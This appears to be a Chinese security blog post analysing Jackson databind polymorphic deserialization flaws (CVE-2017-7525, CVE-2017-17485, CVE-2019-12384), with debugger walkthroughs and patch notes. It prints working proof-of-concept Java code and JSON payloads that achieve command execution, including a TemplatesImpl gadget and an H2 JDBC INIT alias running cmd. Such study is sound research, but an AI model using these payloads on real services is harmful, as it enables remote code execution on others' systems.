Demo
最基础的操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
   | public class Student {     private String name;     private Integer age;
      public String getName() {         return name;     }
      public void setName(String name) {         this.name = name;     }
      public Integer getAge() {         return age;     }
      public void setAge(Integer age) {         this.age = age;     }
      @Override     public String toString() {         return "Student{" +                 "name='" + name + '\'' +                 ", age=" + age +                 '}';     } }
  | 
 
序列化操作
1 2 3 4 5 6 7 8 9 10 11 12
   | import com.fasterxml.jackson.databind.ObjectMapper; public class demo1 {     public static void main(String[] args) throws Exception {         Student stu = new Student();         stu.setName("yoga");         stu.setAge(20);         ObjectMapper mapper = new ObjectMapper();         String jsonString = mapper.writeValueAsString(stu);                  System.out.println(jsonString);     } }
   | 
 
反序列化操作
1 2 3 4 5 6 7 8 9 10
   | import com.fasterxml.jackson.databind.ObjectMapper; public class demo2 {     public static void main(String[] args) throws Exception{         ObjectMapper mapper = new ObjectMapper();         String jsonString = "{\"name\":\"yoga\",\"age\":20}";         Student stu = mapper.readValue(jsonString,Student.class);                  System.out.println(stu);     } }
   | 
 
只使用默认提供的这几个方法是没有什么安全漏洞的,但是需要去对一些特殊类(接口、抽象类等)进行序列化操作时,就需要下面的数据绑定了
多态类型数据绑定
对于有多个子类型的多态集成结构的对象,Jackson在序列化的时候加入一些类型信息,可以在反序列化的时候准确的还原某个类型的子类
主要有两种方式实现:
- 全局Default Typing机制
 
- JsonTypeInfo注解
 
DefaultTyping
有四个选项:
- JAVA_LANG_OBJECT:当对象属性类型为Object时生效
 
- OBJECT_AND_NON_CONCRETE:当对象属性类型为Object或者非具体类型(抽象类和接口)时生效。
默认的、无参的enableDefaultTyping属于该等级 
- NON_CONCRETE_AND_CONCRETE:同上, 另外所有的数组元素的类型都是非具体类型或者对象类型
 
- NON_FINAL:对所有非final类型或者非final类型元素的数组
 

假设有一个存在危险函数的类,反序列化该类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
   | import com.fasterxml.jackson.databind.ObjectMapper;
  public class JacksonRce {     public static void main(String[] args) throws Exception {         ObjectMapper mapper = new ObjectMapper();         mapper.enableDefaultTyping();         String poc = "{\"name\":\"yoga\",\"age\":20,\"obj\":[\"jackson.rce.demo\",{\"cmd\":\"calc\"}]}";         Student student = mapper.readValue(poc,Student.class);         System.out.println(student);     } } class demo{     private String cmd;
      public String getCmd() {         System.out.println("getter()");         return cmd;     }
      public void setCmd(String cmd) throws Exception {         System.out.println("setter()");         this.cmd = cmd;         Runtime.getRuntime().exec(cmd);     }
      public demo(){         System.out.println("demo()");     } }
   | 
 
运行结果

成功反序列化,并且自动触发了类中的setter()和构造方法。也就是说,开启了这个功能,就可以反序列化任意类了
JsonTypeInfo注解
同样的,Jackson提供了@JsonTypeInfo注解来开启多态类型的处理,使用这个注释可以更精细的定制序列化的JSON文件格式。
1
   | @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS,include = JsonTypeInfo.As.PROPERTY,property = "@Clazz")
   | 
 
- use:定义使用哪一种类型识别码,有五种可选值
- JsonTypeInfo.Id.NONE
 
- JsonTypeInfo.Id.CLASS
 
- JsonTypeInfo.Id.MANIMAL_CLASS
 
- JsonTypeInfo.Id.NAME
 
- JsonTypeInfo.Id.CUSTOM
 
 
- include(可选):指定识别码是否出现在进去的
 
- property(可选):指定识别码的名称,默认是@Class
 
这个注解可以直接放在类上,也可以放在某个属性上,序列化时并不需要开启DefaultType
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
   | import com.fasterxml.jackson.annotation.JsonTypeInfo;
  public class Student {     private String name;     private Integer age;     @JsonTypeInfo(use = JsonTypeInfo.Id.NONE)     public Object obj;
      public String getName() {         return name;     }
      public void setName(String name) {         this.name = name;     }
      public Integer getAge() {         return age;     }
      public void setAge(Integer age) {         this.age = age;     }
      @Override     public String toString() {         return "Student{" +                 "name='" + name + '\'' +                 ", age=" + age +'\'' +                 ", obj=" + obj +                 '}';     } } class Teacher implements Person{         private int age;
      @Override     public String toString() {         return "Teacher{" +                 "age=" + age +                 '}';     }
      public Teacher() {         System.out.println("Hello Teacher!!");;     }
      @Override     public void setAge(int age) {         this.age = age;     }
      @Override     public int getAge() {         return this.age;     } } interface Person{     public void setAge(int age);     public int getAge(); }
   | 
 
NONE
序列化结果:
1
   | {"name":"yoga","age":20,"obj":{"age":32}}
  | 
 
表示不使用识别码,序列化后的数据不包含类信息等,无法利用
CLASS
序列化结果:
1
   | {"name":"yoga","age":20,"obj":{"@class":"jackson.rce.Teacher","age":32}}
  | 
 
表示使用完全限定类名做识别,@class中有详细的类名称,可以用来反序列化任意类
POC:
1
   | {"name":"yoga","age":20,"obj":{"@class":"jackson.rce.demo","cmd":"calc"}}
  | 
 
MINIMAL_CLASS
序列化结果:
1
   | {"name":"yoga","age":20,"obj":{"@c":"jackson.rce.Teacher","age":32}}
  | 
 
表示若基类和子类在同一包类,使用类名(忽略包名)作为识别码,同样@c中有详细的类名称,可以用来反序列化任意类
POC:
1
   | {"name":"yoga","age":20,"obj":{"@c":"jackson.rce.demo","cmd":"calc"}}
  | 
 
NAME
序列化结果:
1
   | {"name":"yoga","age":20,"obj":{"@type":"Teacher","age":32}}
  | 
 
表示自定义的指定名称,虽然@type中有类名,但是缺少包信息,无法利用
CUSTOM
表示自定义识别码,直接反序列化会抛异常需要自定义的解析器去实现
Conclusion
开启了DefaultTyping以及@JsonTypeInfo的Class和Minimal_Class是不安全的,可以用来反序列化任意类
反序列化流程
在readValue()和构造函数Teacher()处断点,寻找如何反序列化Teacher类的,调用栈

之前都是构造和处理参数的,直接断点在deserialize()

这里的_vanillaProcessing为true,所以调用vanillaDeserialize(),跟进方法

一进来方法又调用createUsingDefault(),继续跟进

使用annotations去反射实例化Teacher类调用构造方法,并返回给vanillaDeserialize中的变量bean。而后又调用了deserializeAndSet()

在这里用反射的方法去调用setter方法,给反序列化的对象赋值
CVE-2017-7525
TemplatesImpl链
利用条件限制
- 开启了enableDefaultTyping或者@JsonTypeInfo的
CLASS和Minimal_Class 
- Jackson < 2.7.10 or Jackson < 2.8.9
 
- JDK7u21以下的环境(这里使用7u21)
 
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  import java.io.IOException;
  public class Poc extends AbstractTranslet {
      public Poc() throws IOException {         Runtime.getRuntime().exec("calc.exe");     }
      @Override     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {     }
      @Override     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
      }
      public static void main(String[] args) throws Exception {         Poc t = new Poc();     } }
   | 
 
使用的是廖大神的POC:传送门

漏洞分析
在readValue()处和getOutputProperties()进行断点,查看调用栈

在getBinaryValue()中调用decodeBase64()对传入的数据进行解码

然后,直接来到deserializeAndSet()

很明显,这里本来是通过反射调用对应的setter方法,但是对于变量outputProperties并没有对应的setter方法,此时他就会去调用getter方法,也就是开始了getOutputProperties()链,与此前的fastjson的过程一样
1
   | getOutputProperties() -> newTransformer() -> getTransletInstance() -> AbstractTranslet.newInstance() -> Runtime.exec()
   | 
 
但是在jdk1.8的某个版本后(1.8.0_102不行),defineTransletClasses()中新增了对_tfactory的处理,但是无法给它赋值,所以会抛出异常,导致poc无法生效
漏洞补丁
传送门

这里很明显是使用黑名单的方式来限制反序列化的类,于是乎就有了CVE-2017-17485等后续漏洞
CVE-2017-17485
利用Spring spel来RCE的,这里先复现一下,等学习一波spel之后再补
利用条件限制
- 开启了enableDefaultTyping或者@JsonTypeInfo的
CLASS和Minimal_Class 
- 版本
- 影响:version<= 2.9.3 or version <= 2.7.9.1 or  version <= 2.8.10
 
- 不受影响:2.9.3.1、2.7.9.2、2.8.11
 
 
漏洞环境
传送门

CVE-2019-12384
简要分析
利用条件限制
- 2.X < 2.9.9.1
 
- 同时需要序列化和反序列化操作(比较鸡肋了)
 
- RCE的话还需要
h2database依赖 
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
   | import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.SerializationFeature;
  public class Main {
      public static void main(String[] args) throws Exception {                  String poc1 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://127.0.0.1:9999/\"}]";
                   String poc2 = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\",{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ Object shellexec(String a,String b,String c) throws java.io.IOException {return Runtime.getRuntime().exec(new String[]{a,b,c})\\\\;} $$\\\\;CALL SHELLEXEC('cmd','/c','calc')\\\\;\"}]";
          ObjectMapper mapper = new ObjectMapper();         mapper.enableDefaultTyping();         mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS,false);         Object obj = mapper.readValue(poc2,Object.class);         mapper.writeValueAsString(obj);     } }
   | 
 
打上断点直接来看调用栈

反序列化流程和之前的一样,然后反射调用setUrl()方法给url赋值,继续跟进,然后就结束了反序列化流程回到了主函数中。进入序列化流程

在序列化流程中,所有的属性都会遍历一遍,然后去寻找getter()方法,调用getDriverClass和getUrl后,再调用getConnection(),这里的url的值为反序列化时赋予的,可控。

这里就发起请求,造成SSRF
SSRF To RCE
H2是非常快速的一个内存SQL数据库,通常是作为全功能版SQL数据库管理系统(比如Postgresql、MSSql、MySql或者OracleDB)的替代方案。H2配置起来非常方便,并且也支持许多模型,比如内存部署、文件部署或者远程服务器部署。H2可以通过JDBC URL运行SQL脚本,该功能主要目的是方便内存数据库进行INIT迁移。如果单有该功能,攻击者并不能在JVM上下文中执行Java代码。然而,由于H2在JVM框架内实现,因此支持指定包含java代码的自定义别名。
通过sql来调用java代码,继续回到getConnection()

这里获取init属性,也就是jdbc url中的SQL命令

executeUpdate()执行init中的语句

漏洞补丁
传送门

还是将DriverManagerConnectionSource类加入黑名单
Reference
http://codelife.me/blog/2012/11/03/jackson-polymorphic-deserialization/
https://b1ue.cn/archives/189.html
https://github.com/shengqi158/Jackson-databind-RCE-PoC
https://www.anquanke.com/post/id/182695
http://www.leadroyal.cn/?p=616